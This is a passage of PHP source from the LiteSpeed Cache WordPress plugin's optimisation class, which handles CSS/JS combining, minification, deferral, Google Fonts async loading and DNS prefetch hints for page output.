		}

		return $vary;
	}

	/**
	 * Remove emoji from WP
	 *
	 * @since  1.4
	 * @since  2.9.8 Changed to private
	 * @access private
	 */
	private function _emoji_rm() {
		remove_action('wp_head', 'print_emoji_detection_script', 7);
		remove_action('admin_print_scripts', 'print_emoji_detection_script');
		remove_filter('the_content_feed', 'wp_staticize_emoji');
		remove_filter('comment_text_rss', 'wp_staticize_emoji');
		/**
		 * Added for better result
		 *
		 * @since  1.6.2.1
		 */
		remove_action('wp_print_styles', 'print_emoji_styles');
		remove_action('admin_print_styles', 'print_emoji_styles');
		remove_filter('wp_mail', 'wp_staticize_emoji_for_email');
	}

	/**
	 * Delete file-based cache folder
	 *
	 * @since  2.1
	 * @access public
	 */
	public function rm_cache_folder( $subsite_id = false ) {
		if ($subsite_id) {
			file_exists(LITESPEED_STATIC_DIR . '/css/' . $subsite_id) && File::rrmdir(LITESPEED_STATIC_DIR . '/css/' . $subsite_id);
			file_exists(LITESPEED_STATIC_DIR . '/js/' . $subsite_id) && File::rrmdir(LITESPEED_STATIC_DIR . '/js/' . $subsite_id);
			return;
		}

		file_exists(LITESPEED_STATIC_DIR . '/css') && File::rrmdir(LITESPEED_STATIC_DIR . '/css');
		file_exists(LITESPEED_STATIC_DIR . '/js') && File::rrmdir(LITESPEED_STATIC_DIR . '/js');
	}

	/**
	 * Remove QS
	 *
	 * @since  1.3
	 * @access public
	 */
	public function remove_query_strings( $src ) {
		if (strpos($src, '_litespeed_rm_qs=0') || strpos($src, '/recaptcha')) {
			return $src;
		}

		if (!Utility::is_internal_file($src)) {
			return $src;
		}

		if (strpos($src, '.js?') !== false || strpos($src, '.css?') !== false) {
			$src = preg_replace('/\?.*/', '', $src);
		}

		return $src;
	}

	/**
	 * Run optimize process
	 * NOTE: As this is after cache finalized, can NOT set any cache control anymore
	 *
	 * @since  1.2.2
	 * @access public
	 * @return  string The content that is after optimization
	 */
	public function finalize( $content ) {
		$content = $this->_finalize($content);
		// Fallback to replace dummy css placeholder
		if (false !== preg_match(self::DUMMY_CSS_REGEX, $content)) {
			self::debug('Fallback to drop dummy CSS');
			$content = preg_replace( self::DUMMY_CSS_REGEX, '', $content );
		}
		return $content;
	}
	private function _finalize( $content ) {
		if (defined('LITESPEED_NO_PAGEOPTM')) {
			self::debug2('bypass: NO_PAGEOPTM const');
			return $content;
		}

		if (!defined('LITESPEED_IS_HTML')) {
			self::debug('bypass: Not frontend HTML type');
			return $content;
		}

		if (!defined('LITESPEED_GUEST_OPTM')) {
			if (!Control::is_cacheable()) {
				self::debug('bypass: Not cacheable');
				return $content;
			}

			// Check if hit URI excludes
			add_filter('litespeed_optm_uri_exc', array( $this->cls('Data'), 'load_optm_uri_exc' ));
			$excludes = apply_filters('litespeed_optm_uri_exc', $this->conf(self::O_OPTM_EXC));
			$result   = Utility::str_hit_array($_SERVER['REQUEST_URI'], $excludes);
			if ($result) {
				self::debug('bypass: hit URI Excludes setting: ' . $result);
				return $content;
			}
		}

		self::debug('start');

		$this->content_ori = $this->content = $content;

		$this->_optimize();
		return $this->content;
	}

	/**
	 * Optimize css src
	 *
	 * @since  1.2.2
	 * @access private
	 */
	private function _optimize() {
		global $wp;
		$this->_request_url = get_permalink();
		// Backup, in case get_permalink() fails.
		if (!$this->_request_url) {
			$this->_request_url = home_url($wp->request);
		}

		$this->cfg_css_min            = defined('LITESPEED_GUEST_OPTM') || $this->conf(self::O_OPTM_CSS_MIN);
		$this->cfg_css_comb           = defined('LITESPEED_GUEST_OPTM') || $this->conf(self::O_OPTM_CSS_COMB);
		$this->cfg_js_min             = defined('LITESPEED_GUEST_OPTM') || $this->conf(self::O_OPTM_JS_MIN);
		$this->cfg_js_comb            = defined('LITESPEED_GUEST_OPTM') || $this->conf(self::O_OPTM_JS_COMB);
		$this->cfg_ggfonts_rm         = defined('LITESPEED_GUEST_OPTM') || $this->conf(self::O_OPTM_GGFONTS_RM);
		$this->cfg_ggfonts_async      = !defined('LITESPEED_GUEST_OPTM') && $this->conf(self::O_OPTM_GGFONTS_ASYNC); // forced rm already
		$this->_conf_css_font_display = !defined('LITESPEED_GUEST_OPTM') && $this->conf(self::O_OPTM_CSS_FONT_DISPLAY);

		if (!$this->cls('Router')->can_optm()) {
			self::debug('bypass: admin/feed/preview');
			return;
		}

		if ($this->cfg_css_async) {
			$this->_ccss = $this->cls('CSS')->prepare_ccss();
			if (!$this->_ccss) {
				self::debug('❌ CCSS set to OFF due to CCSS not generated yet');
				$this->cfg_css_async = false;
			} elseif (strpos($this->_ccss, '<style id="litespeed-ccss" data-error') === 0) {
				self::debug('❌ CCSS set to OFF due to CCSS failed to generate');
				$this->cfg_css_async = false;
			}
		}

		do_action('litespeed_optm');

		// Parse css from content
		$src_list = false;
		if ($this->cfg_css_min || $this->cfg_css_comb || $this->cfg_ggfonts_rm || $this->cfg_css_async || $this->cfg_ggfonts_async || $this->_conf_css_font_display) {
			add_filter('litespeed_optimize_css_excludes', array( $this->cls('Data'), 'load_css_exc' ));
			list($src_list, $html_list) = $this->_parse_css();
		}

		// css optimizer
		if ($this->cfg_css_min || $this->cfg_css_comb) {
			if ($src_list) {
				// IF combine
				if ($this->cfg_css_comb) {
					// Check if has inline UCSS enabled or not
					if ((defined('LITESPEED_GUEST_OPTM') || $this->conf(self::O_OPTM_UCSS)) && $this->conf(self::O_OPTM_UCSS_INLINE)) {
						$filename = $this->cls('UCSS')->load($this->_request_url, true);
						if ($filename) {
							$filepath_prefix = $this->_build_filepath_prefix('ucss');
							$this->_ucss     = File::read(LITESPEED_STATIC_DIR . $filepath_prefix . $filename);

							// Drop all css
							$this->content = str_replace($html_list, '', $this->content);
						}
					}

					if (!$this->_ucss) {
						$url = $this->_build_hash_url($src_list);

						if ($url) {
							// Handle css async load
							if ($this->cfg_css_async) {
								$this->html_head .=
									'<link rel="preload" data-asynced="1" data-optimized="2" as="style" onload="this.onload=null;this.rel=\'stylesheet\'" href="' .
									Str::trim_quotes($url) .
									'" />'; // todo: How to use " in attr wrapper "
							} else {
								$this->html_head .= '<link data-optimized="2" rel="stylesheet" href="' . Str::trim_quotes($url) . '" />'; // use 2 as combined
							}

							// Move all css to top
							$this->content = str_replace($html_list, '', $this->content);
						}
					}
				}
				// Only minify
				elseif ($this->cfg_css_min) {
					// will handle async css load inside
					$this->_src_queue_handler($src_list, $html_list);
				}
				// Only HTTP2 push
				else {
					foreach ($src_list as $src_info) {
						if (!empty($src_info['inl'])) {
							continue;
						}
					}
				}
			}
		}

		// Handle css lazy load if not handled async loaded yet
		if ($this->cfg_css_async && !$this->cfg_css_min && !$this->cfg_css_comb) {
			// async html
			$html_list_async = $this->_async_css_list($html_list, $src_list);

			// Replace async css
			$this->content = str_replace($html_list, $html_list_async, $this->content);
		}

		// Parse js from buffer as needed
		$src_list = false;
		if ($this->cfg_js_min || $this->cfg_js_comb || $this->cfg_js_defer || $this->cfg_js_delay_inc) {
			add_filter('litespeed_optimize_js_excludes', array( $this->cls('Data'), 'load_js_exc' ));
			list($src_list, $html_list) = $this->_parse_js();
		}

		// js optimizer
		if ($src_list) {
			// IF combine
			if ($this->cfg_js_comb) {
				$url = $this->_build_hash_url($src_list, 'js');
				if ($url) {
					$this->html_foot .= $this->_build_js_tag($url);

					// Will move all JS to bottom combined one
					$this->content = str_replace($html_list, '', $this->content);
				}
			}
			// Only minify
			elseif ($this->cfg_js_min) {
				// Will handle js defer inside
				$this->_src_queue_handler($src_list, $html_list, 'js');
			}
			// Only HTTP2 push and Defer
			else {
				foreach ($src_list as $k => $src_info) {
					// Inline JS
					if (!empty($src_info['inl'])) {
						if ($this->cfg_js_defer) {
							$attrs    = !empty($src_info['attrs']) ? $src_info['attrs'] : '';
							$deferred = $this->_js_inline_defer($src_info['src'], $attrs);
							if ($deferred) {
								$this->content = str_replace($html_list[$k], $deferred, $this->content);
							}
						}
					}
					// JS files
					elseif ($this->cfg_js_defer) {
						$deferred = $this->_js_defer($html_list[$k], $src_info['src']);
						if ($deferred) {
							$this->content = str_replace($html_list[$k], $deferred, $this->content);
						}
					} elseif ($this->cfg_js_delay_inc) {
						$deferred = $this->_js_delay($html_list[$k], $src_info['src']);
						if ($deferred) {
							$this->content = str_replace($html_list[$k], $deferred, $this->content);
						}
					}
				}
			}
		}

		// Append JS inline var for preserved ESI
		// Shouldn't give any optm (defer/delay) @since 4.4
		if ($this->_var_preserve_js) {
			$this->html_head .= '<script>var ' . implode(',', $this->_var_preserve_js) . ';</script>';
			self::debug2('Inline JS defer vars', $this->_var_preserve_js);
		}

		// Append async compatibility lib to head
		if ($this->cfg_css_async) {
			// Inline css async lib
			if ($this->conf(self::O_OPTM_CSS_ASYNC_INLINE)) {
				$this->html_head .= $this->_build_js_inline(File::read(LSCWP_DIR . self::LIB_FILE_CSS_ASYNC), true);
			} else {
				$css_async_lib_url = LSWCP_PLUGIN_URL . self::LIB_FILE_CSS_ASYNC;
				$this->html_head  .= $this->_build_js_tag($css_async_lib_url); // Don't exclude it from defer for now
			}
		}

		/**
		 * Handle google fonts async
		 * This will result in a JS snippet in head, so need to put it in the end to avoid being replaced by JS parser
		 */
		$this->_async_ggfonts();

		/**
		 * Font display optm
		 *
		 * @since  3.0
		 */
		$this->_font_optm();

		// Inject JS Delay lib
		$this->_maybe_js_delay();

		/**
		 * HTML Lazyload
		 */
		if ($this->conf(self::O_OPTM_HTML_LAZY)) {
			$this->html_head = $this->cls('CSS')->prepare_html_lazy() . $this->html_head;
		}

		// Maybe prepend inline UCSS
		if ($this->_ucss) {
			$this->html_head = '<style id="litespeed-ucss">' . $this->_ucss . '</style>' . $this->html_head;
		}

		// Check if there is any critical css rules setting
		if ($this->cfg_css_async && $this->_ccss) {
			$this->html_head = $this->_ccss . $this->html_head;
		}

		// Replace html head part
		$this->html_head_early = apply_filters('litespeed_optm_html_head_early', $this->html_head_early);
		if ($this->html_head_early) {
			// Put header content to be after charset
			if (false !== strpos($this->content, '<meta charset')) {
				self::debug('Put early optm data to be after <meta charset>');
				$this->content = preg_replace('#<meta charset([^>]*)>#isU', '<meta charset$1>' . $this->html_head_early, $this->content, 1);
			} else {
				self::debug('Put early optm data to be right after <head>');
				$this->content = preg_replace('#<head([^>]*)>#isU', '<head$1>' . $this->html_head_early, $this->content, 1);
			}
		}
		$this->html_head = apply_filters('litespeed_optm_html_head', $this->html_head);
		if ($this->html_head) {
			if (apply_filters('litespeed_optm_html_after_head', false)) {
				$this->content = str_replace('</head>', $this->html_head . '</head>', $this->content);
			} else {
				// Put header content to dummy css position
				if (false !== preg_match(self::DUMMY_CSS_REGEX, $this->content)) {
					self::debug('Put optm data to dummy css location');
					$this->content = preg_replace( self::DUMMY_CSS_REGEX, $this->html_head, $this->content );
				}
				// Fallback: try to be after charset
				elseif (strpos($this->content, '<meta charset') !== false) {
					self::debug('Put optm data to be after <meta charset>');
					$this->content = preg_replace('#<meta charset([^>]*)>#isU', '<meta charset$1>' . $this->html_head, $this->content, 1);
				} else {
					self::debug('Put optm data to be after <head>');
					$this->content = preg_replace('#<head([^>]*)>#isU', '<head$1>' . $this->html_head, $this->content, 1);
				}
			}
		}

		// Replace html foot part
		$this->html_foot = apply_filters('litespeed_optm_html_foot', $this->html_foot);
		if ($this->html_foot) {
			$this->content = str_replace('</body>', $this->html_foot . '</body>', $this->content);
		}

		// Drop noscript if enabled
		if ($this->conf(self::O_OPTM_NOSCRIPT_RM)) {
			// $this->content = preg_replace( '#<noscript>.*</noscript>#isU', '', $this->content );
		}

		// HTML minify
		if (defined('LITESPEED_GUEST_OPTM') || $this->conf(self::O_OPTM_HTML_MIN)) {
			$this->content = $this->__optimizer->html_min($this->content);
		}
	}

	/**
	 * Build a full JS tag
	 *
	 * @since  4.0
	 */
	private function _build_js_tag( $src ) {
		if ($this->cfg_js_defer === 2 || Utility::str_hit_array($src, $this->cfg_js_delay_inc)) {
			return '<script data-optimized="1" type="litespeed/javascript" data-src="' . Str::trim_quotes($src) . '"></script>';
		}

		if ($this->cfg_js_defer) {
			return '<script data-optimized="1" src="' . Str::trim_quotes($src) . '" defer></script>';
		}

		return '<script data-optimized="1" src="' . Str::trim_quotes($src) . '"></script>';
	}

	/**
	 * Build a full inline JS snippet
	 *
	 * @since  4.0
	 */
	private function _build_js_inline( $script, $minified = false ) {
		if ($this->cfg_js_defer) {
			$deferred = $this->_js_inline_defer($script, false, $minified);
			if ($deferred) {
				return $deferred;
			}
		}

		return '<script>' . $script . '</script>';
	}

	/**
	 * Load JS delay lib
	 *
	 * @since 4.0
	 */
	private function _maybe_js_delay() {
		if ($this->cfg_js_defer !== 2 && !$this->cfg_js_delay_inc) {
			return;
		}

		if (!defined('LITESPEED_JS_DELAY_LIB_LOADED')) {
			define('LITESPEED_JS_DELAY_LIB_LOADED', true);
			$this->html_foot .= '<script>' . File::read(LSCWP_DIR . self::LIB_FILE_JS_DELAY) . '</script>';
		}
	}

	/**
	 * Google font async
	 *
	 * @since 2.7.3
	 * @access private
	 */
	private function _async_ggfonts() {
		if (!$this->cfg_ggfonts_async || !$this->_ggfonts_urls) {
			return;
		}

		self::debug2('google fonts async found: ', $this->_ggfonts_urls);

		$this->html_head_early .= '<link rel="preconnect" href="https://fonts.gstatic.com/" crossorigin />';

		/**
		 * Append fonts
		 *
		 * Could be multiple fonts
		 *
		 *  <link rel='stylesheet' href='//fonts.googleapis.com/css?family=Open+Sans%3A400%2C600%2C700%2C800%2C300&#038;ver=4.9.8' type='text/css' media='all' />
		 *  <link rel='stylesheet' href='//fonts.googleapis.com/css?family=PT+Sans%3A400%2C700%7CPT+Sans+Narrow%3A400%7CMontserrat%3A600&#038;subset=latin&#038;ver=4.9.8' type='text/css' media='all' />
		 *      -> family: PT Sans:400,700|PT Sans Narrow:400|Montserrat:600
		 *  <link rel='stylesheet' href='https://fonts.googleapis.com/css?family=Source+Sans+Pro:400,300,300italic,400italic,600,700,900&#038;subset=latin%2Clatin-ext' />
		 */
		$script = 'WebFontConfig={google:{families:[';

		$families = array();
		foreach ($this->_ggfonts_urls as $v) {
			$qs = wp_specialchars_decode($v);
			$qs = urldecode($qs);
			$qs = parse_url($qs, PHP_URL_QUERY);
			parse_str($qs, $qs);

			if (empty($qs['family'])) {
				self::debug('ERR ggfonts failed to find family: ' . $v);
				continue;
			}

			$subset = empty($qs['subset']) ? '' : ':' . $qs['subset'];

			foreach (array_filter(explode('|', $qs['family'])) as $v2) {
				$families[] = Str::trim_quotes($v2 . $subset);
			}
		}

		$script .= '"' . implode('","', $families) . ($this->_conf_css_font_display ? '&display=swap' : '') . '"';

		$script .= ']}};';

		// if webfontloader lib was loaded before WebFontConfig variable, call WebFont.load
		$script .= 'if ( typeof WebFont === "object" && typeof WebFont.load === "function" ) { WebFont.load( WebFontConfig ); }';

		$html = $this->_build_js_inline($script);

		// https://cdnjs.cloudflare.com/ajax/libs/webfont/1.6.28/webfontloader.js
		$webfont_lib_url = LSWCP_PLUGIN_URL . self::LIB_FILE_WEBFONTLOADER;

		// default async, if js defer set use defer
		$html .= $this->_build_js_tag($webfont_lib_url);

		// Put this in the very beginning for preconnect
		$this->html_head = $html . $this->html_head;
	}

	/**
	 * Font optm
	 *
	 * @since  3.0
	 * @access private
	 */
	private function _font_optm() {
		if (!$this->_conf_css_font_display || !$this->_ggfonts_urls) {
			return;
		}

		self::debug2('google fonts optm ', $this->_ggfonts_urls);

		foreach ($this->_ggfonts_urls as $v) {
			if (strpos($v, 'display=')) {
				continue;
			}
			$this->html_head = str_replace($v, $v . '&#038;display=swap', $this->html_head);
			$this->html_foot = str_replace($v, $v . '&#038;display=swap', $this->html_foot);
			$this->content   = str_replace($v, $v . '&#038;display=swap', $this->content);
		}
	}

	/**
	 * Prefetch DNS
	 *
	 * @since 1.7.1 DNS prefetch
	 * @since 5.6.1 DNS preconnect
	 * @access private
	 */
	private function _dns_optm_init() {
		// Widely enable link DNS prefetch
		if (defined('LITESPEED_GUEST_OPTM') || $this->conf(self::O_OPTM_DNS_PREFETCH_CTRL)) {
			@header('X-DNS-Prefetch-Control: on');
		}

		$this->dns_prefetch = $this->conf(self::O_OPTM_DNS_PREFETCH);
		$this->dns_preconnect = $this->conf(self::O_OPTM_DNS_PRECONNECT);
		if (!$this->dns_prefetch && !$this->dns_preconnect) {
			return;
		}

		if (function_exists('wp_resource_hints')) {
			add_filter('wp_resource_hints', array( $this, 'dns_optm_filter' ), 10, 2);
		} else {
			add_action('litespeed_optm', array( $this, 'dns_optm_output' ));
		}
	}

	/**
	 * DNS optm hook for WP
	 *
	 * @since 1.7.1
	 * @access public
	 */
	public function dns_optm_filter( $urls, $relation_type ) {
		if ('dns-prefetch' === $relation_type) {
			foreach ($this->dns_prefetch as $v) {
				if ($v) {
					$urls[] = $v;
				}
			}
		}
		if ('preconnect' === $relation_type) {
			foreach ($this->dns_prefetch as $v) {
				if ($v) {
					$urls[] = $v;
				}
			}
		}

		return $urls;
	}

	/**
	 * DNS optm output directly
	 *
	 * @since 1.7.1 DNS prefetch
	 * @since 5.6.1 DNS preconnect
	 * @access public
	 */
	public function dns_optm_output() {
		foreach ($this->dns_prefetch as $v) {
			if ($v) {
				$this->html_head_early .= '<link rel="dns-prefetch" href="' . Str::trim_quotes($v) . '" />';
			}
		}
		foreach ($this->dns_preconnect as $v) {
			if ($v) {
				$this->html_head_early .= '<link rel="preconnect" href="' . Str::trim_quotes($v) . '" crossorigin />';
			}
		}
	}

	/**
	 * Run minify with src queue list
	 *
	 * @since  1.2.2
	 * @access private
	 */
	private function _src_queue_handler( $src_list, $html_list, $file_type = 'css' ) {
		$html_list_ori = $html_list;

		$can_webp = $this->cls('Media')->webp_support();

		$tag = $file_type == 'css' ? 'link' : 'script';
		foreach ($src_list as $key => $src_info) {
			// Minify inline CSS/JS
			if (!empty($src_info['inl'])) {
				if ($file_type == 'css') {
					$code = Optimizer::minify_css($src_info['src']);
					$can_webp && ($code = $this->cls('Media')->replace_background_webp($code));
					$snippet = str_replace($src_info['src'], $code, $html_list[$key]);
				} else {
					// Inline defer JS
					if ($this->cfg_js_defer) {
						$attrs   = !empty($src_info['attrs']) ? $src_info['attrs'] : '';
						$snippet = $this->_js_inline_defer($src_info['src'], $attrs) ?: $html_list[$key];
					} else {
						$code    = Optimizer::minify_js($src_info['src']);
						$snippet = str_replace($src_info['src'], $code, $html_list[$key]);
					}
				}
			}
			// CSS/JS files
			else {
				$url = $this->_build_single_hash_url($src_info['src'], $file_type);
				if ($url) {
					$snippet = str_replace($src_info['src'], $url, $html_list[$key]);
				}

				// Handle css async load
				if ($file_type == 'css' && $this->cfg_css_async) {
					$snippet = $this->_async_css($snippet);
				}

				// Handle js defer
				if ($file_type === 'js' && $this->cfg_js_defer) {
					$snippet = $this->_js_defer($snippet, $src_info['src']) ?: $snippet;
				}
			}

			$snippet         = str_replace("<$tag ", '<' . $tag . ' data-optimized="1" ', $snippet);
			$html_list[$key] = $snippet;
		}

		$this->content = str_replace($html_list_ori, $html_list, $this->content);
	}

	/**
	 * Build a single URL mapped filename (This will not save in DB)
	 *
	 * @since  4.0
	 */
	private function _build_single_hash_url( $src, $file_type = 'css' ) {
		$content = $this->__optimizer->load_file($src, $file_type);

		$is_min = $this->__optimizer->is_min($src);

		$content = $this->__optimizer->optm_snippet($content, $file_type, !$is_min, $src);

		$filepath_prefix = $this->_build_filepath_prefix($file_type);

		// Save to file
		$filename    = $filepath_prefix . md5($this->remove_query_strings($src)) . '.' . $file_type;
		$static_file = LITESPEED_STATIC_DIR . $filename;
		File::save($static_file, $content, true);

		// QS is required as $src may contains version info
		$qs_hash = substr(md5($src), -5);
		return LITESPEED_STATIC_URL . "$filename?ver=$qs_hash";
	}

	/**
	 * Generate full URL path with hash for a list of src
	 *
	 * @since  1.2.2
	 * @access private
	 */
	private function _build_hash_url( $src_list, $file_type = 'css' ) {
		// $url_sensitive = $this->conf( self::O_OPTM_CSS_UNIQUE ) && $file_type == 'css'; // If need to keep unique CSS per URI

		// Replace preserved ESI (before generating hash)
		if ($file_type == 'js') {
			foreach ($src_list as $k => $v) {
				if (empty($v['inl'])) {
					continue;
				}
				$src_list[$k]['src'] = $this->_preserve_esi($v['src']);
			}
		}

		$minify        = $file_type === 'css' ? $this->cfg_css_min : $this->cfg_js_min;
		$filename_info = $this->__optimizer->serve($this->_request_url, $file_type, $minify, $src_list);

		if (!$filename_info) {
			return false; // Failed to generate
		}

		list($filename, $type) = $filename_info;

		// Add cache tag in case later file deleted to avoid lscache served stale non-existed files @since 4.4.1
		Tag::add(Tag::TYPE_MIN . '.' . $filename);

		$qs_hash = substr(md5(self::get_option(self::ITEM_TIMESTAMP_PURGE_CSS)), -5);
		// As filename is already related to filecon md5, no need QS anymore
		$filepath_prefix = $this->_build_filepath_prefix($type);
		return LITESPEED_STATIC_URL . $filepath_prefix . $filename . '?ver=' . $qs_hash;
	}

	/**
	 * Parse js src
	 *
	 * @since  1.2.2
	 * @access private
	 */
	private function _parse_js() {
		$excludes = apply_filters('litespeed_optimize_js_excludes', $this->conf(self::O_OPTM_JS_EXC));

		$combine_ext_inl = $this->conf(self::O_OPTM_JS_COMB_EXT_INL);
		if (!apply_filters('litespeed_optm_js_comb_ext_inl', true)) {
			self::debug2('js_comb_ext_inl bypassed via litespeed_optm_js_comb_ext_inl filter');
			$combine_ext_inl = false;
		}

		$src_list  = array();
		$html_list = array();

		// V7 added: (?:\r\n?|\n?) to fix replacement leaving empty new line
		$content = preg_replace('#<!--.*-->(?:\r\n?|\n?)#sU', '', $this->content);
		preg_match_all('#<script([^>]*)>(.*)</script>(?:\r\n?|\n?)#isU', $content, $matches, PREG_SET_ORDER);
		foreach ($matches as $match) {
			$attrs = empty($match[1]) ? array() : Utility::parse_attr($match[1]);

			if (isset($attrs['data-optimized'])) {
				continue;
			}
			if (!empty($attrs['data-no-optimize'])) {
				continue;
			}
			if (!empty($attrs['data-cfasync']) && $attrs['data-cfasync'] === 'false') {
				continue;
			}
			if (!empty($attrs['type']) && $attrs['type'] != 'text/javascript') {
				continue;
			}

			// to avoid multiple replacement
			if (in_array($match[0], $html_list)) {
				continue;
			}

			$this_src_arr = array();
			// JS files
			if (!empty($attrs['src'])) {
				// Exclude check
				$js_excluded  = Utility::str_hit_array($attrs['src'], $excludes);
				$is_internal  = Utility::is_internal_file($attrs['src']);
				$is_file      = substr($attrs['src'], 0, 5) != 'data:';
				$ext_excluded = !$combine_ext_inl && !$is_internal;
				if ($js_excluded || $ext_excluded || !$is_file) {
					// Maybe defer
					if ($this->cfg_js_defer) {
						$deferred = $this->_js_defer($match[0], $attrs['src']);
						if ($deferred) {
							$this->content = str_replace($match[0], $deferred, $this->content);
						}
					}

					self::debug2('_parse_js bypassed due to ' . ($js_excluded ? 'js files excluded [hit] ' . $js_excluded : 'external js'));
					continue;
				}

				if (strpos($attrs['src'], '/localres/') !== false) {
					continue;
				}

				if (strpos($attrs['src'], 'instant_click') !== false) {
					continue;
				}

				$this_src_arr['src'] = $attrs['src'];
			}
			// Inline JS
			elseif (!empty($match[2])) {
				// self::debug( '🌹🌹🌹 ' . $match[2] . '🌹' );
				// Exclude check
				$js_excluded = Utility::str_hit_array($match[2], $excludes);
				if ($js_excluded || !$combine_ext_inl) {
					// Maybe defer
					if ($this->cfg_js_defer) {
						$deferred = $this->_js_inline_defer($match[2], $match[1]);
						if ($deferred) {
							$this->content = str_replace($match[0], $deferred, $this->content);
						}
					}
					self::debug2('_parse_js bypassed due to ' . ($js_excluded ? 'js excluded [hit] ' . $js_excluded : 'inline js'));
					continue;
				}

				$this_src_arr['inl'] = true;
				$this_src_arr['src'] = $match[2];
				if ($match[1]) {
					$this_src_arr['attrs'] = $match[1];
				}
			} else {
				// Compatibility to those who changed src to data-src already
				self::debug2('No JS src or inline JS content');
				continue;
			}

			$src_list[]  = $this_src_arr;
			$html_list[] = $match[0];
		}

		return array( $src_list, $html_list );
	}

	/**
	 * Inline JS defer
	 *
	 * @since 3.0
	 * @access private
	 */
	private function _js_inline_defer( $con, $attrs = false, $minified = false ) {
		if (strpos($attrs, 'data-no-defer') !== false) {
			self::debug2('bypass: attr api data-no-defer');
			return false;
		}

		$hit = Utility::str_hit_array($con, $this->cfg_js_defer_exc);
		if ($hit) {
			self::debug2('inline js defer excluded [setting] ' . $hit);
			return false;
		}

		$con = trim($con);
		// Minify JS first
		if (!$minified) {
			// && $this->cfg_js_defer !== 2
			$con = Optimizer::minify_js($con);
		}

		if (!$con) {
			return false;
		}

		// Check if the content contains ESI nonce or not
		$con = $this->_preserve_esi($con);

		if ($this->cfg_js_defer === 2) {
			// Drop type attribute from $attrs
			if (strpos($attrs, ' type=') !== false) {
				$attrs = preg_replace('# type=([\'"])([^\1]+)\1#isU', '', $attrs);
			}
			// Replace DOMContentLoaded
			$con = str_replace('DOMContentLoaded', 'DOMContentLiteSpeedLoaded', $con);
			return '<script' . $attrs . ' type="litespeed/javascript">' . $con . '</script>';
			// return '<script' . $attrs . ' type="litespeed/javascript" src="data:text/javascript;base64,' . base64_encode( $con ) . '"></script>';
			// return '<script' . $attrs . ' type="litespeed/javascript">' . $con . '</script>';
		}

		return '<script' . $attrs . ' src="data:text/javascript;base64,' . base64_encode($con) . '" defer></script>';
	}

	/**
	 * Replace ESI to JS inline var (mainly used to avoid nonce timeout)
	 *
	 * @since  3.5.1
	 */
	private function _preserve_esi( $con ) {
		$esi_placeholder_list = $this->cls('ESI')->contain_preserve_esi($con);
		if (!$esi_placeholder_list) {
			return $con;
		}

		foreach ($esi_placeholder_list as $esi_placeholder) {
			$js_var                   = '__litespeed_var_' . self::$_var_i++ . '__';
			$con                      = str_replace($esi_placeholder, $js_var, $con);
			$this->_var_preserve_js[] = $js_var . '=' . $esi_placeholder;
		}

		return $con;
	}

	/**
	 * Parse css src and remove to-be-removed css
	 *
	 * @since  1.2.2
	 * @access private
	 * @return array  All the src & related raw html list
	 */
	private function _parse_css() {
		$excludes             = apply_filters('litespeed_optimize_css_excludes', $this->conf(self::O_OPTM_CSS_EXC));
		$ucss_file_exc_inline = apply_filters('litespeed_optimize_ucss_file_exc_inline', $this->conf(self::O_OPTM_UCSS_FILE_EXC_INLINE));

		// Append dummy css to exclude list
		$excludes[] = 'litespeed-dummy.css';

		$combine_ext_inl = $this->conf(self::O_OPTM_CSS_COMB_EXT_INL);
		if (!apply_filters('litespeed_optm_css_comb_ext_inl', true)) {
			self::debug2('css_comb_ext_inl bypassed via litespeed_optm_css_comb_ext_inl filter');
			$combine_ext_inl = false;
		}

		$css_to_be_removed = apply_filters('litespeed_optm_css_to_be_removed', array());

		$src_list  = array();
		$html_list = array();

		// $dom = new \PHPHtmlParser\Dom;
		// $dom->load( $content );return $val;
		// $items = $dom->find( 'link' );

		// V7 added: (?:\r\n?|\n?) to fix replacement leaving empty new line
		$content = preg_replace(
			array( '#<!--.*-->(?:\r\n?|\n?)#sU', '#<script([^>]*)>.*</script>(?:\r\n?|\n?)#isU', '#<noscript([^>]*)>.*</noscript>(?:\r\n?|\n?)#isU' ),
			'',
			$this->content
		);
		preg_match_all('#<link ([^>]+)/?>|<style([^>]*)>([^<]+)</style>(?:\r\n?|\n?)#isU', $content, $matches, PREG_SET_ORDER);

		foreach ($matches as $match) {
			// to avoid multiple replacement
			if (in_array($match[0], $html_list)) {
				continue;
			}

			if ($exclude = Utility::str_hit_array($match[0], $excludes)) {
				self::debug2('_parse_css bypassed exclude ' . $exclude);
				continue;
			}

			$this_src_arr = array();
			if (strpos($match[0], '<link') === 0) {
				$attrs = Utility::parse_attr($match[1]);
				if (empty($attrs['rel']) || $attrs['rel'] !== 'stylesheet') {
					continue;
				}
				if (empty($attrs['href'])) {
					continue;
				}

				// Check if need to remove this css
				if (Utility::str_hit_array($attrs['href'], $css_to_be_removed)) {
					self::debug('rm css snippet ' . $attrs['href']);
					// Delete this css snippet from orig html
					$this->content = str_replace($match[0], '', $this->content);

					continue;
				}

				// Check if need to inline this css file
				if ($this->conf(self::O_OPTM_UCSS) && Utility::str_hit_array($attrs['href'], $ucss_file_exc_inline)) {
					self::debug('ucss_file_exc_inline hit ' . $attrs['href']);
					// Replace this css to inline from orig html
					$inline_script = '<style>' . $this->__optimizer->load_file($attrs['href']) . '</style>';
					$this->content = str_replace($match[0], $inline_script, $this->content);

					continue;
				}

				// Check Google fonts hit
				if (strpos($attrs['href'], 'fonts.googleapis.com') !== false) {
					/**
					 * For async gg fonts, will add webfont into head, hence remove it from buffer and store the matches to use later
					 *
					 * @since  2.7.3
					 * @since  3.0 For font display optm, need to parse google fonts URL too
					 */
					if (!in_array($attrs['href'], $this->_ggfonts_urls)) {
						$this->_ggfonts_urls[] = $attrs['href'];
					}

					if ($this->cfg_ggfonts_rm || $this->cfg_ggfonts_async) {
						self::debug('rm css snippet [Google fonts] ' . $attrs['href']);
						$this->content = str_replace($match[0], '', $this->content);

						continue;
					}
				}

				if (isset($attrs['data-optimized'])) {
					// $this_src_arr[ 'exc' ] = true;
					continue;
				} elseif (!empty($attrs['data-no-optimize'])) {
					// $this_src_arr[ 'exc' ] = true;
					continue;
				}

				$is_internal  = Utility::is_internal_file($attrs['href']);
				$ext_excluded = !$combine_ext_inl && !$is_internal;
				if ($ext_excluded) {
					self::debug2('Bypassed due to external link');
					// Maybe defer
					if ($this->cfg_css_async) {
						$snippet = $this->_async_css($match[0]);
						if ($snippet != $match[0]) {
							$this->content = str_replace($match[0], $snippet, $this->content);
						}
					}

					continue;
				}

				if (!empty($attrs['media']) && $attrs['media'] !== 'all') {
					$this_src_arr['media'] = $attrs['media'];
				}

				$this_src_arr['src'] = $attrs['href'];
			} else {
				// Inline style
				if (!$combine_ext_inl) {
					self::debug2('Bypassed due to inline');
					continue;
				}

